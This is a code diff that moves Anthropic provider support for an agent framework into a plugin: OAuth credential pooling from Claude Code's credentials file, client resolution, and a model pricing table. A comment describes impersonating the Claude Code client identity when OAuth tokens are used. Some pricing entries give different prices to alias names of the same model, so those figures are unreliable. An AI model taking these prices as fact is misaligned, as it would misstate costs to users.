pass
except Exception:
# FeatureUnavailable or unexpected error. Don't crash here; let the
# actual import attempt produce the canonical error message.
pass
try:
from honcho import Honcho
from honcho import Honcho # noqa: F401 — imported for side-effects
except ImportError:
raise ImportError(
"honcho-ai is required for Honcho integration. "
+19
View File
@@ -0,0 +1,19 @@
[build-system]
requires = ["setuptools>=61.0"]
build-backend = "setuptools.build_meta"
[project]
name = "hermes-agent-honcho"
version = "1.0.0"
description = "Honcho AI-native memory for Hermes Agent"
requires-python = ">=3.11"
dependencies = [
"hermes-agent",
"honcho-ai==2.0.1",
]
[project.entry-points."hermes_agent.plugins"]
honcho = "hermes_agent_honcho:register"
[tool.setuptools.packages.find]
include = ["hermes_agent_honcho*"]
@@ -19,3 +19,9 @@ alibaba_coding_plan = ProviderProfile(
)
register_provider(alibaba_coding_plan)
def register(ctx):
"""No-op — this provider has no workspace package yet."""
pass
@@ -11,3 +11,9 @@ alibaba = ProviderProfile(
)
register_provider(alibaba)
def register(ctx):
"""No-op — this provider has no workspace package yet."""
pass
@@ -50,3 +50,9 @@ anthropic = AnthropicProfile(
)
register_provider(anthropic)
def register(ctx):
"""Plugin entry point — delegates to the inner hermes_agent_anthropic package."""
from hermes_agent_anthropic import register as _inner_register
_inner_register(ctx)
@@ -0,0 +1,174 @@
"""hermes-agent-anthropic: Anthropic Messages API adapter for Hermes Agent."""
# -----------------------------------------------------------------------
# Re-exports from adapter.py — SDK-dependent orchestration only.
# Wire-format code (message conversion, aux client wrappers, transport)
# has moved to core and is no longer re-exported here.
# -----------------------------------------------------------------------
from hermes_agent_anthropic.adapter import ( # noqa: F401
_CLAUDE_CODE_VERSION_FALLBACK,
_HERMES_OAUTH_FILE,
_OAUTH_CLIENT_ID,
_OAUTH_REDIRECT_URI,
_OAUTH_SCOPES,
_OAUTH_TOKEN_URL,
_build_anthropic_client_with_bearer_hook,
_detect_claude_code_version,
_generate_pkce,
_get_anthropic_sdk,
_get_claude_code_version,
_is_azure_anthropic_endpoint,
_is_oauth_token,
_prefer_refreshable_claude_code_token,
_read_claude_code_credentials_from_keychain,
_refresh_oauth_token,
_requires_bearer_auth,
_resolve_claude_code_token_from_credentials,
_write_claude_code_credentials,
build_anthropic_bedrock_client,
build_anthropic_client,
is_claude_code_token_valid,
read_claude_code_credentials,
read_claude_managed_key,
read_hermes_oauth_credentials,
refresh_anthropic_oauth_pure,
resolve_anthropic_token,
run_hermes_oauth_login_pure,
run_oauth_setup_token,
)
# Re-exports from resolve.py — client resolution & endpoint detection
from hermes_agent_anthropic.resolve import ( # noqa: F401
_ANTHROPIC_DEFAULT_BASE_URL as ANTHROPIC_DEFAULT_BASE_URL,
convert_openai_images_to_anthropic,
endpoint_speaks_anthropic_messages,
is_anthropic_compat_endpoint,
maybe_wrap_anthropic,
resolve_auxiliary_client,
)
def register(ctx):
"""Entry point for the hermes_agent.plugins entry point group."""
from hermes_agent_anthropic import adapter
# -----------------------------------------------------------------------
# Plugin-only symbols — SDK-dependent orchestration that stays in the
# plugin package. Wire-format code (message conversion, aux client
# wrappers, transport) has moved to core (agent.anthropic_format,
# agent.anthropic_aux, agent.transports.anthropic) and is no longer
# registered here.
# -----------------------------------------------------------------------
_symbols = [
# OAuth / auth constants
"_CLAUDE_CODE_VERSION_FALLBACK",
"_HERMES_OAUTH_FILE",
"_OAUTH_CLIENT_ID",
"_OAUTH_REDIRECT_URI",
"_OAUTH_SCOPES",
"_OAUTH_TOKEN_URL",
# SDK-dependent functions
"_build_anthropic_client_with_bearer_hook",
"_detect_claude_code_version",
"_generate_pkce",
"_get_anthropic_sdk",
"_get_claude_code_version",
"_is_azure_anthropic_endpoint",
"_is_oauth_token",
"_prefer_refreshable_claude_code_token",
"_read_claude_code_credentials_from_keychain",
"_refresh_oauth_token",
"_requires_bearer_auth",
"_resolve_claude_code_token_from_credentials",
"_write_claude_code_credentials",
"build_anthropic_bedrock_client",
"build_anthropic_client",
"is_claude_code_token_valid",
"read_claude_code_credentials",
"read_claude_managed_key",
"read_hermes_oauth_credentials",
"refresh_anthropic_oauth_pure",
"resolve_anthropic_token",
"run_hermes_oauth_login_pure",
"run_oauth_setup_token",
]
# resolve.py symbols — client resolution & endpoint detection
_resolve_symbols = [
"_ANTHROPIC_DEFAULT_BASE_URL",
"_ANTHROPIC_COMPAT_PROVIDERS",
"convert_openai_images_to_anthropic",
"endpoint_speaks_anthropic_messages",
"is_anthropic_compat_endpoint",
"maybe_wrap_anthropic",
"resolve_auxiliary_client",
]
_all_symbols = _symbols + _resolve_symbols
_services = {}
for name in _symbols:
_services[name] = getattr(adapter, name)
for name in _resolve_symbols:
from hermes_agent_anthropic import resolve as _resolve_mod
_services[name] = getattr(_resolve_mod, name)
# Also expose ANTHROPIC_DEFAULT_BASE_URL under the public (no-underscore) name
_services["ANTHROPIC_DEFAULT_BASE_URL"] = _services.get("_ANTHROPIC_DEFAULT_BASE_URL", "")
# Also expose the model name normalizer as a provider service
from hermes_agent_anthropic.pricing import normalize_anthropic_model_name
_services["normalize_model_name"] = normalize_anthropic_model_name
ctx.register_provider_services("anthropic", _services)
# Register the provider resolver — core dispatches to this instead of
# having per-anthropic if/elif branches in resolve_provider_client().
ctx.register_provider_resolver("anthropic", resolve_auxiliary_client)
# Register the anthropic transport so core doesn't need to import it.
from agent.transports.anthropic import AnthropicTransport
ctx.register_transport("anthropic_messages", AnthropicTransport)
# Register the credential pool hook — core dispatches to this instead of
# having per-anthropic if/elif branches in credential_pool.py.
from agent.plugin_registries import CredentialPoolHook
from hermes_agent_anthropic.credential_pool_hook import (
sync_from_credentials_file,
refresh_oauth,
needs_refresh,
should_include_in_pool,
source_priority,
discover_credentials,
ANTHROPIC_ENV_VAR_ORDER,
detect_auth_type,
)
ctx.register_credential_pool_hook("anthropic", CredentialPoolHook(
sync_from_credentials_file=sync_from_credentials_file,
refresh_oauth=refresh_oauth,
needs_refresh=needs_refresh,
should_include_in_pool=should_include_in_pool,
source_priority=source_priority,
discover_credentials=discover_credentials,
env_var_order=ANTHROPIC_ENV_VAR_ORDER,
detect_auth_type=detect_auth_type,
))
# Register pricing entries — core looks these up via the registry
# instead of hardcoding them in _OFFICIAL_DOCS_PRICING.
from hermes_agent_anthropic.pricing import (
get_anthropic_pricing_entries,
ANTHROPIC_PRICING_KEYS,
)
_entries = get_anthropic_pricing_entries()
_keyed = []
for (prov, model), entry in zip(ANTHROPIC_PRICING_KEYS, _entries):
_keyed.append((prov, model, entry))
ctx.register_pricing_provider("anthropic", _keyed)
# Register the provider overlay — core merges this into HERMES_OVERLAYS
from agent.plugin_registries import ProviderOverlayEntry
ctx.register_provider_overlay(ProviderOverlayEntry(
provider_name="anthropic",
transport="anthropic_messages",
extra_env_vars=("ANTHROPIC_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN"),
display_name="Anthropic",
aliases=[],
))
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,274 @@
"""Anthropic credential pool hook.
Handles provider-specific pool operations: syncing from ~/.claude/.credentials.json,
refreshing OAuth tokens, and deciding which sources to include in the pool.
"""
from __future__ import annotations
import logging
import os
import time
from dataclasses import replace
from typing import Any, Optional
logger = logging.getLogger(__name__)
def sync_from_credentials_file(entry: Any) -> Any:
"""Sync a claude_code pool entry from ~/.claude/.credentials.json if tokens differ.
OAuth refresh tokens are single-use. When something external (e.g.
Claude Code CLI, or another profile's pool) refreshes the token, it
writes the new pair to ~/.claude/.credentials.json. The pool entry's
refresh token becomes stale. This method detects that and syncs.
Returns the (possibly updated) entry.
"""
if entry.source != "claude_code":
return entry
try:
from agent.plugin_registries import registries
read_claude_code_credentials = registries.get_provider_service("anthropic", "read_claude_code_credentials")
if read_claude_code_credentials is None:
return entry
creds = read_claude_code_credentials()
if not creds:
return entry
file_refresh = creds.get("refreshToken", "")
file_access = creds.get("accessToken", "")
file_expires = creds.get("expiresAt", 0)
if file_refresh and file_refresh != entry.refresh_token:
logger.debug("Pool entry %s: syncing tokens from credentials file (refresh token changed)", entry.id)
return replace(
entry,
access_token=file_access,
refresh_token=file_refresh,
expires_at_ms=file_expires,
last_status=None,
last_status_at=None,
last_error_code=None,
)
except Exception as exc:
logger.debug("Failed to sync from credentials file: %s", exc)
return entry
def refresh_oauth(entry: Any, pool: Any) -> Any:
"""Refresh an anthropic OAuth token and return the updated entry.
Handles:
- Standard OAuth refresh via ``refresh_anthropic_oauth_pure``
- Writing back to ~/.claude/.credentials.json for claude_code entries
- Retry with synced token from credentials file on refresh failure
Returns the updated entry, or the original entry on failure.
"""
from agent.plugin_registries import registries
refresh_anthropic_oauth_pure = registries.get_provider_service("anthropic", "refresh_anthropic_oauth_pure")
if refresh_anthropic_oauth_pure is None:
return entry
try:
refreshed = refresh_anthropic_oauth_pure(
entry.refresh_token,
use_json=entry.source.endswith("hermes_pkce"),
)
updated = replace(
entry,
access_token=refreshed["access_token"],
refresh_token=refreshed["refresh_token"],
expires_at_ms=refreshed["expires_at_ms"],
)
# Keep ~/.claude/.credentials.json in sync
if entry.source == "claude_code":
try:
_write_claude_code_credentials = registries.get_provider_service("anthropic", "_write_claude_code_credentials")
if _write_claude_code_credentials is not None:
_write_claude_code_credentials(
refreshed["access_token"],
refreshed["refresh_token"],
refreshed["expires_at_ms"],
)
except Exception as wexc:
logger.debug("Failed to write refreshed token to credentials file: %s", wexc)
return updated
except Exception as exc:
logger.debug("Credential refresh failed for anthropic/%s: %s", entry.id, exc)
# The refresh token may have been consumed by another process.
# Check if ~/.claude/.credentials.json has a newer token pair.
if entry.source == "claude_code":
synced = sync_from_credentials_file(entry)
if synced.refresh_token != entry.refresh_token:
logger.debug("Retrying refresh with synced token from credentials file")
try:
refreshed = refresh_anthropic_oauth_pure(
synced.refresh_token,
use_json=synced.source.endswith("hermes_pkce"),
)
updated = replace(
synced,
access_token=refreshed["access_token"],
refresh_token=refreshed["refresh_token"],
expires_at_ms=refreshed["expires_at_ms"],
last_status="OK",
last_status_at=None,
last_error_code=None,
)
try:
_write_claude_code_credentials = registries.get_provider_service("anthropic", "_write_claude_code_credentials")
if _write_claude_code_credentials is not None:
_write_claude_code_credentials(
refreshed["access_token"],
refreshed["refresh_token"],
refreshed["expires_at_ms"],
)
except Exception:
pass
return updated
except Exception:
pass
return entry
def needs_refresh(entry: Any) -> bool:
"""Check if an anthropic OAuth entry needs a token refresh."""
if entry.expires_at_ms is None:
return False
return int(entry.expires_at_ms) <= int(time.time() * 1000) + 120_000
def should_include_in_pool(source: str) -> bool:
"""Which anthropic credential sources should be pooled."""
return source in {"claude_code", "hermes_pkce"}
def source_priority(source: str) -> int:
"""Priority ordering for anthropic credential sources (lower = preferred)."""
_PRIORITIES = {
"claude_code": 3,
"hermes_pkce": 2,
}
return _PRIORITIES.get(source, 99)
def discover_credentials(entries: list, provider: str, is_suppressed: Any) -> tuple:
"""Discover external anthropic credentials and upsert into pool entries.
Returns (changed: bool, active_sources: set).
"""
from agent.plugin_registries import registries
changed = False
active_sources = set()
# Only auto-discover external credentials (Claude Code, Hermes PKCE)
# when the user has explicitly configured anthropic as their provider.
# Without this gate, auxiliary client fallback chains silently read
# ~/.claude/.credentials.json without user consent. See PR #4210.
try:
from hermes_cli.auth import is_provider_explicitly_configured
if not is_provider_explicitly_configured("anthropic"):
return changed, active_sources
except ImportError:
pass
# API-key vs OAuth is a user-visible choice at `hermes setup` ("Claude
# Pro/Max subscription" vs "Anthropic API key"). The signal that the
# user picked the API-key path is: ANTHROPIC_API_KEY set in the env,
# AND no OAuth env vars set — `save_anthropic_api_key()` writes the
# API key and zeros ANTHROPIC_TOKEN; `save_anthropic_oauth_token()`
# does the inverse. When that signal is present we MUST NOT seed
# autodiscovered OAuth tokens (~/.claude/.credentials.json from the
# Claude Code CLI, hermes_pkce creds from a previous OAuth login)
# into the anthropic pool — otherwise rotation on a 401/429 silently
# flips the session onto an OAuth credential, which forces the Claude
# Code identity injection, `mcp_` tool-name rewrite, and claude-cli
# User-Agent header. Users who explicitly opted into the API-key path
# are explicitly opting OUT of that masquerade. Prefer ~/.hermes/.env
# over os.environ for the same reason `_seed_from_env` does — that's
# the authoritative file that `hermes setup` writes.
try:
from hermes_cli.config import load_env
except ImportError:
load_env = None # type: ignore[assignment]
_env_file = load_env() if load_env is not None else {}
def _env_val(key: str) -> str:
return (_env_file.get(key) or os.environ.get(key) or "").strip()
anthropic_api_key = _env_val("ANTHROPIC_API_KEY")
anthropic_oauth_env = (
_env_val("ANTHROPIC_TOKEN") or _env_val("CLAUDE_CODE_OAUTH_TOKEN")
)
api_key_path_explicit = bool(anthropic_api_key and not anthropic_oauth_env)
if api_key_path_explicit:
# Prune any stale autodiscovered OAuth entries that may have been
# seeded into the on-disk pool during a previous OAuth session.
# Without this, switching OAuth -> API key at setup leaves the
# OAuth entries dormant in auth.json forever and rotation on a
# transient 401 could revive them.
retained = [
entry for entry in entries
if entry.source not in {"hermes_pkce", "claude_code"}
]
if len(retained) != len(entries):
entries[:] = retained
changed = True
return changed, active_sources
read_claude_code_credentials = registries.get_provider_service("anthropic", "read_claude_code_credentials")
read_hermes_oauth_credentials = registries.get_provider_service("anthropic", "read_hermes_oauth_credentials")
if read_claude_code_credentials is None or read_hermes_oauth_credentials is None:
return changed, active_sources
# Import pool helpers
try:
from agent.credential_pool import _upsert_entry, label_from_token, AUTH_TYPE_OAUTH
except ImportError:
return changed, active_sources
for source_name, creds in (
("hermes_pkce", read_hermes_oauth_credentials()),
("claude_code", read_claude_code_credentials()),
):
if creds and creds.get("accessToken"):
if is_suppressed(provider, source_name):
continue
active_sources.add(source_name)
changed |= _upsert_entry(
entries,
provider,
source_name,
{
"source": source_name,
"auth_type": AUTH_TYPE_OAUTH,
"access_token": creds.get("accessToken", ""),
"refresh_token": creds.get("refreshToken"),
"expires_at_ms": creds.get("expiresAt"),
"label": label_from_token(creds.get("accessToken", ""), source_name),
},
)
return changed, active_sources
# Env var scan order for anthropic — prefer OAuth tokens over API keys
ANTHROPIC_ENV_VAR_ORDER = [
"ANTHROPIC_TOKEN",
"CLAUDE_CODE_OAUTH_TOKEN",
"ANTHROPIC_API_KEY",
]
def detect_auth_type(token: str) -> str:
"""Determine auth type for an anthropic token.
OAuth tokens don't start with 'sk-ant-api'; API keys do.
"""
from agent.credential_pool import AUTH_TYPE_OAUTH, AUTH_TYPE_API_KEY
if not token.startswith("sk-ant-api"):
return AUTH_TYPE_OAUTH
return AUTH_TYPE_API_KEY
@@ -0,0 +1,184 @@
"""Anthropic model pricing data.
Official docs snapshot entries for Anthropic Claude models.
Source: https://platform.claude.com/docs/en/about-claude/pricing
"""
from __future__ import annotations
from datetime import datetime, timezone
from decimal import Decimal
from typing import List
def get_anthropic_pricing_entries() -> list:
"""Return official docs pricing entries for Anthropic Claude models."""
from agent.usage_pricing import PricingEntry
_ANTHROPIC_PRICING_URL = "https://platform.claude.com/docs/en/about-claude/pricing"
_ANTHROPIC_PRICING_VER = "anthropic-pricing-2026-05"
return [
PricingEntry(
input_cost_per_million=Decimal("5.00"),
output_cost_per_million=Decimal("25.00"),
cache_read_cost_per_million=Decimal("0.50"),
cache_write_cost_per_million=Decimal("6.25"),
source="official_docs_snapshot",
source_url=_ANTHROPIC_PRICING_URL,
pricing_version=_ANTHROPIC_PRICING_VER,
), # key: ("anthropic", "claude-opus-4-7")
PricingEntry(
input_cost_per_million=Decimal("5.00"),
output_cost_per_million=Decimal("25.00"),
cache_read_cost_per_million=Decimal("0.50"),
cache_write_cost_per_million=Decimal("6.25"),
source="official_docs_snapshot",
source_url=_ANTHROPIC_PRICING_URL,
pricing_version=_ANTHROPIC_PRICING_VER,
), # key: ("anthropic", "claude-opus-4-6")
PricingEntry(
input_cost_per_million=Decimal("5.00"),
output_cost_per_million=Decimal("25.00"),
cache_read_cost_per_million=Decimal("0.50"),
cache_write_cost_per_million=Decimal("6.25"),
source="official_docs_snapshot",
source_url=_ANTHROPIC_PRICING_URL,
pricing_version=_ANTHROPIC_PRICING_VER,
), # key: ("anthropic", "claude-opus-4-5")
PricingEntry(
input_cost_per_million=Decimal("3.00"),
output_cost_per_million=Decimal("15.00"),
cache_read_cost_per_million=Decimal("0.30"),
cache_write_cost_per_million=Decimal("3.75"),
source="official_docs_snapshot",
source_url=_ANTHROPIC_PRICING_URL,
pricing_version=_ANTHROPIC_PRICING_VER,
), # key: ("anthropic", "claude-sonnet-4-7")
PricingEntry(
input_cost_per_million=Decimal("3.00"),
output_cost_per_million=Decimal("15.00"),
cache_read_cost_per_million=Decimal("0.30"),
cache_write_cost_per_million=Decimal("3.75"),
source="official_docs_snapshot",
source_url=_ANTHROPIC_PRICING_URL,
pricing_version=_ANTHROPIC_PRICING_VER,
), # key: ("anthropic", "claude-sonnet-4-6")
PricingEntry(
input_cost_per_million=Decimal("3.00"),
output_cost_per_million=Decimal("15.00"),
cache_read_cost_per_million=Decimal("0.30"),
cache_write_cost_per_million=Decimal("3.75"),
source="official_docs_snapshot",
source_url=_ANTHROPIC_PRICING_URL,
pricing_version=_ANTHROPIC_PRICING_VER,
), # key: ("anthropic", "claude-sonnet-4-5")
PricingEntry(
input_cost_per_million=Decimal("0.80"),
output_cost_per_million=Decimal("4.00"),
cache_read_cost_per_million=Decimal("0.08"),
cache_write_cost_per_million=Decimal("1.00"),
source="official_docs_snapshot",
source_url=_ANTHROPIC_PRICING_URL,
pricing_version=_ANTHROPIC_PRICING_VER,
), # key: ("anthropic", "claude-haiku-4-5")
PricingEntry(
input_cost_per_million=Decimal("1.00"),
output_cost_per_million=Decimal("5.00"),
cache_read_cost_per_million=Decimal("0.10"),
cache_write_cost_per_million=Decimal("1.25"),
source="official_docs_snapshot",
source_url=_ANTHROPIC_PRICING_URL,
pricing_version=_ANTHROPIC_PRICING_VER,
), # key: ("anthropic", "claude-4-7-sonnet")
PricingEntry(
input_cost_per_million=Decimal("1.00"),
output_cost_per_million=Decimal("5.00"),
cache_read_cost_per_million=Decimal("0.10"),
cache_write_cost_per_million=Decimal("1.25"),
source="official_docs_snapshot",
source_url=_ANTHROPIC_PRICING_URL,
pricing_version=_ANTHROPIC_PRICING_VER,
), # key: ("anthropic", "claude-4-6-sonnet")
PricingEntry(
input_cost_per_million=Decimal("3.00"),
output_cost_per_million=Decimal("15.00"),
cache_read_cost_per_million=Decimal("0.30"),
cache_write_cost_per_million=Decimal("3.75"),
source="official_docs_snapshot",
source_url=_ANTHROPIC_PRICING_URL,
pricing_version=_ANTHROPIC_PRICING_VER,
), # key: ("anthropic", "claude-4-5-sonnet")
PricingEntry(
input_cost_per_million=Decimal("5.00"),
output_cost_per_million=Decimal("25.00"),
cache_read_cost_per_million=Decimal("0.50"),
cache_write_cost_per_million=Decimal("6.25"),
source="official_docs_snapshot",
source_url=_ANTHROPIC_PRICING_URL,
pricing_version=_ANTHROPIC_PRICING_VER,
), # key: ("anthropic", "claude-4-7-opus")
PricingEntry(
input_cost_per_million=Decimal("5.00"),
output_cost_per_million=Decimal("25.00"),
cache_read_cost_per_million=Decimal("0.50"),
cache_write_cost_per_million=Decimal("6.25"),
source="official_docs_snapshot",
source_url=_ANTHROPIC_PRICING_URL,
pricing_version=_ANTHROPIC_PRICING_VER,
), # key: ("anthropic", "claude-4-6-opus")
PricingEntry(
input_cost_per_million=Decimal("5.00"),
output_cost_per_million=Decimal("25.00"),
cache_read_cost_per_million=Decimal("0.50"),
cache_write_cost_per_million=Decimal("6.25"),
source="official_docs_snapshot",
source_url=_ANTHROPIC_PRICING_URL,
pricing_version=_ANTHROPIC_PRICING_VER,
), # key: ("anthropic", "claude-4-5-opus")
PricingEntry(
input_cost_per_million=Decimal("0.80"),
output_cost_per_million=Decimal("4.00"),
cache_read_cost_per_million=Decimal("0.08"),
cache_write_cost_per_million=Decimal("1.00"),
source="official_docs_snapshot",
source_url=_ANTHROPIC_PRICING_URL,
pricing_version=_ANTHROPIC_PRICING_VER,
), # key: ("anthropic", "claude-4-5-haiku")
]
# Model name keys for the pricing entries — must match the order above
ANTHROPIC_PRICING_KEYS = [
("anthropic", "claude-opus-4-7"),
("anthropic", "claude-opus-4-6"),
("anthropic", "claude-opus-4-5"),
("anthropic", "claude-sonnet-4-7"),
("anthropic", "claude-sonnet-4-6"),
("anthropic", "claude-sonnet-4-5"),
("anthropic", "claude-haiku-4-5"),
("anthropic", "claude-4-7-sonnet"),
("anthropic", "claude-4-6-sonnet"),
("anthropic", "claude-4-5-sonnet"),
("anthropic", "claude-4-7-opus"),
("anthropic", "claude-4-6-opus"),
("anthropic", "claude-4-5-opus"),
("anthropic", "claude-4-5-haiku"),
]
def normalize_anthropic_model_name(model: str) -> str:
"""Normalize Anthropic model name variants to canonical form.
Handles:
- Dot notation: claude-opus-4.7 claude-opus-4-7
- Short aliases: claude-opus-4.7 claude-opus-4-7
- Strips anthropic/ prefix if present
"""
import re
name = model.lower().strip()
if name.startswith("anthropic/"):
name = name[len("anthropic/"):]
# Normalize dots to dashes in version numbers
name = re.sub(r"(\d+)\.(\d+)", r"\1-\2", name)
return name
@@ -0,0 +1,312 @@
"""Anthropic provider resolver for auxiliary client construction.
Handles ALL provider-specific logic for building auxiliary clients:
credential resolution (pool, env var, OAuth), client construction,
base URL detection, and transport wrapping.
"""
from __future__ import annotations
import logging
from typing import Any, Optional, Tuple
from utils import base_url_hostname
logger = logging.getLogger(__name__)
_ANTHROPIC_DEFAULT_BASE_URL = "https://api.anthropic.com"
_ANTHROPIC_COMPAT_PROVIDERS = frozenset({"minimax", "minimax-oauth", "minimax-cn"})
# ---------------------------------------------------------------------------
# Endpoint detection helpers
# ---------------------------------------------------------------------------
def endpoint_speaks_anthropic_messages(base_url: str) -> bool:
"""True if the endpoint at ``base_url`` speaks Anthropic Messages protocol.
Covers:
- Any URL ending in ``/anthropic``
- ``api.kimi.com/coding`` (Kimi Coding Plan)
- ``api.anthropic.com`` (native Anthropic)
"""
normalized = (base_url or "").strip().lower().rstrip("/")
if not normalized:
return False
if normalized.endswith("/anthropic"):
return True
hostname = base_url_hostname(normalized)
if hostname == "api.anthropic.com":
return True
if hostname == "api.kimi.com" and "/coding" in normalized:
return True
return False
def is_anthropic_compat_endpoint(provider: str, base_url: str) -> bool:
"""Detect if an endpoint expects Anthropic-format content blocks."""
if provider in _ANTHROPIC_COMPAT_PROVIDERS:
return True
url_lower = (base_url or "").lower()
return "/anthropic" in url_lower
def convert_openai_images_to_anthropic(messages: list) -> list:
"""Convert OpenAI ``image_url`` content blocks to Anthropic ``image`` blocks."""
converted = []
for msg in messages:
content = msg.get("content")
if not isinstance(content, list):
converted.append(msg)
continue
new_content = []
changed = False
for block in content:
if block.get("type") == "image_url":
image_url_val = (block.get("image_url") or {}).get("url", "")
if image_url_val.startswith("data:"):
header, _, b64data = image_url_val.partition(",")
media_type = "image/png"
if ":" in header and ";" in header:
media_type = header.split(":", 1)[1].split(";", 1)[0]
new_content.append({
"type": "image",
"source": {
"type": "base64",
"media_type": media_type,
"data": b64data,
},
})
else:
new_content.append({
"type": "image",
"source": {
"type": "url",
"url": image_url_val,
},
})
changed = True
else:
new_content.append(block)
converted.append({**msg, "content": new_content} if changed else msg)
return converted
# ---------------------------------------------------------------------------
# Transport wrapping
# ---------------------------------------------------------------------------
def _safe_isinstance(obj: Any, maybe_type: Any) -> bool:
"""Return False instead of raising when a patched symbol is not a type."""
try:
return isinstance(obj, maybe_type)
except TypeError:
return False
def maybe_wrap_anthropic(
client_obj: Any,
model: str,
api_key: str,
base_url: str,
api_mode: Optional[str] = None,
) -> Any:
"""Rewrap a plain OpenAI client in ``AnthropicAuxiliaryClient`` when
the endpoint actually speaks Anthropic Messages.
Returns ``client_obj`` unchanged when it's already a specialized adapter
or the endpoint is OpenAI-wire.
"""
from agent.anthropic_aux import AnthropicAuxiliaryClient
# Already wrapped — don't double-wrap.
if _safe_isinstance(client_obj, AnthropicAuxiliaryClient):
return client_obj
# Check for other specialized adapters we should never re-dispatch.
try:
from agent.auxiliary_client import CodexAuxiliaryClient
if _safe_isinstance(client_obj, CodexAuxiliaryClient):
return client_obj
except ImportError:
pass
try:
from agent.gemini_native_adapter import GeminiNativeClient
if _safe_isinstance(client_obj, GeminiNativeClient):
return client_obj
except ImportError:
pass
try:
from agent.copilot_acp_client import CopilotACPClient
if _safe_isinstance(client_obj, CopilotACPClient):
return client_obj
except ImportError:
pass
# Explicit non-anthropic api_mode wins over URL heuristics.
if api_mode and api_mode != "anthropic_messages":
return client_obj
should_wrap = (
api_mode == "anthropic_messages"
or endpoint_speaks_anthropic_messages(base_url)
)
if not should_wrap:
return client_obj
from agent.plugin_registries import registries
build_anthropic_client = registries.get_provider_service("anthropic", "build_anthropic_client")
if build_anthropic_client is None:
logger.warning(
"Endpoint %s speaks Anthropic Messages but the anthropic SDK is "
"not installed — falling back to OpenAI-wire (will likely 404).",
base_url,
)
return client_obj
try:
real_client = build_anthropic_client(api_key, base_url)
except Exception as exc:
logger.warning(
"Failed to build Anthropic client for %s (%s) — falling back to "
"OpenAI-wire client.", base_url, exc,
)
return client_obj
logger.debug(
"Auxiliary transport: wrapping client in AnthropicAuxiliaryClient "
"(model=%s, base_url=%s, api_mode=%s)",
model, base_url[:60] if base_url else "", api_mode or "auto-detected",
)
return AnthropicAuxiliaryClient(
real_client, model, api_key, base_url, is_oauth=False,
)
# ---------------------------------------------------------------------------
# Pool helpers (thin wrappers over core pool functions)
# ---------------------------------------------------------------------------
def _select_pool_entry(provider: str) -> Tuple[bool, Optional[Any]]:
"""Return (pool_exists_for_provider, selected_entry)."""
try:
from agent.credential_pool import load_pool
pool = load_pool(provider)
except Exception as exc:
logger.debug("Auxiliary client: could not load pool for %s: %s", provider, exc)
return False, None
if not pool or not pool.has_credentials():
return False, None
try:
return True, pool.select()
except Exception as exc:
logger.debug("Auxiliary client: could not select pool entry for %s: %s", provider, exc)
return True, None
def _pool_runtime_api_key(entry: Any) -> str:
if entry is None:
return ""
key = getattr(entry, "runtime_api_key", None) or getattr(entry, "access_token", "")
return str(key or "").strip()
def _pool_runtime_base_url(entry: Any, fallback: str = "") -> str:
if entry is None:
return str(fallback or "").strip().rstrip("/")
url = (
getattr(entry, "runtime_base_url", None)
or getattr(entry, "inference_base_url", None)
or getattr(entry, "base_url", None)
or fallback
)
return str(url or "").strip().rstrip("/")
def _get_aux_model_for_provider(provider_id: str) -> str:
"""Return the cheap auxiliary model for a provider."""
try:
from providers import get_provider_profile
_p = get_provider_profile(provider_id)
if _p and _p.default_aux_model:
return _p.default_aux_model
except Exception:
pass
return ""
# ---------------------------------------------------------------------------
# The resolver: called by core's resolve_provider_client()
# ---------------------------------------------------------------------------
def resolve_auxiliary_client(
*,
model: str | None = None,
explicit_api_key: str | None = None,
explicit_base_url: str | None = None,
async_mode: bool = False,
is_vision: bool = False,
main_runtime: dict | None = None,
api_mode: str | None = None,
) -> tuple[Any, str] | tuple[None, None]:
"""Resolve an auxiliary client for the Anthropic provider.
Returns ``(client, default_model)`` or ``(None, None)`` if unavailable.
"""
from agent.plugin_registries import registries
from agent.anthropic_aux import (
AnthropicAuxiliaryClient,
AsyncAnthropicAuxiliaryClient,
)
_anthropic = registries.get_provider_namespace("anthropic")
build_anthropic_client = _anthropic.get("build_anthropic_client")
resolve_anthropic_token = _anthropic.get("resolve_anthropic_token")
if build_anthropic_client is None or resolve_anthropic_token is None:
return None, None
pool_present, entry = _select_pool_entry("anthropic")
if pool_present:
if entry is None:
return None, None
token = explicit_api_key or _pool_runtime_api_key(entry)
else:
entry = None
token = explicit_api_key or resolve_anthropic_token()
if not token:
return None, None
# Allow base URL override from config.yaml model.base_url, but only
# when the configured provider is anthropic.
base_url = _pool_runtime_base_url(entry, _ANTHROPIC_DEFAULT_BASE_URL) if pool_present else _ANTHROPIC_DEFAULT_BASE_URL
if explicit_base_url:
base_url = explicit_base_url.strip().rstrip("/")
try:
from hermes_cli.config import load_config
cfg = load_config()
model_cfg = cfg.get("model")
if isinstance(model_cfg, dict):
cfg_provider = str(model_cfg.get("provider") or "").strip().lower()
if cfg_provider == "anthropic":
cfg_base_url = (model_cfg.get("base_url") or "").strip().rstrip("/")
if cfg_base_url:
base_url = cfg_base_url
except Exception:
pass
_is_oauth_token = _anthropic.get("_is_oauth_token")
is_oauth = _is_oauth_token(token) if _is_oauth_token else False
default_model = model or _get_aux_model_for_provider("anthropic") or "claude-haiku-4-5-20251001"
logger.debug("Auxiliary client: Anthropic native (%s) at %s (oauth=%s)", default_model, base_url, is_oauth)
try:
real_client = build_anthropic_client(token, base_url)
except ImportError:
return None, None
client = AnthropicAuxiliaryClient(real_client, default_model, token, base_url, is_oauth=is_oauth)
if async_mode:
client = AsyncAnthropicAuxiliaryClient(client)
return client, default_model
@@ -0,0 +1,20 @@
[build-system]
requires = ["setuptools>=61.0"]
build-backend = "setuptools.build_meta"
[project]
name = "hermes-agent-anthropic"
version = "0.1.0"
description = "Anthropic Messages API adapter for Hermes Agent"
requires-python = ">=3.11"
dependencies = [
"hermes-agent",
"anthropic==0.87.0",
"hermes-agent-azure",
]
[project.entry-points."hermes_agent.plugins"]
anthropic = "hermes_agent_anthropic:register"
[tool.setuptools.packages.find]
include = ["hermes_agent_anthropic*"]
@@ -0,0 +1,180 @@
"""Shared fixtures for anthropic plugin tests.
Registers the anthropic plugin in the singleton registry before each test
and provides the ``agent`` fixture used by integration tests.
"""
import sys
from pathlib import Path
from unittest.mock import MagicMock, patch
import pytest
def pytest_configure(config):
"""Remove sys.path entries that would shadow the real ``anthropic`` SDK.
pytest adds ``plugins/model-providers/`` to ``sys.path`` because
``plugins/model-providers/anthropic/__init__.py`` (a provider profile)
exists. This makes ``import anthropic`` find the plugin directory
instead of the installed SDK package, causing ``AttributeError:
